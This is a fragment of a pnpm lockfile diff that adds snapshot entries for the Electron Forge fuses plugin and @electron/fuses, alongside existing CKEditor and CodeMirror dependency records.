'@ckeditor/ckeditor5-widget@47.4.0':
dependencies:
@@ -17122,8 +17131,6 @@ snapshots:
'@ckeditor/ckeditor5-utils': 47.4.0
ckeditor5: 47.4.0
es-toolkit: 1.39.5
transitivePeerDependencies:
- supports-color
'@codemirror/autocomplete@6.18.6':
dependencies:
@@ -17547,6 +17554,15 @@ snapshots:
- bluebird
- supports-color
'@electron-forge/plugin-fuses@7.11.1(@electron/fuses@1.8.0)':
dependencies:
'@electron-forge/plugin-base': 7.11.1
'@electron-forge/shared-types': 7.11.1
'@electron/fuses': 1.8.0
transitivePeerDependencies:
- bluebird
- supports-color
'@electron-forge/publisher-base@7.11.1':
dependencies:
'@electron-forge/shared-types': 7.11.1
@@ -17629,6 +17645,12 @@ snapshots:
glob: 7.2.3
minimatch: 3.1.2
'@electron/fuses@1.8.0':
dependencies:
chalk: 4.1.2
fs-extra: 9.1.0
minimist: 1.2.8
'@electron/get@2.0.3':
dependencies:
debug: 4.4.3(supports-color@8.1.1)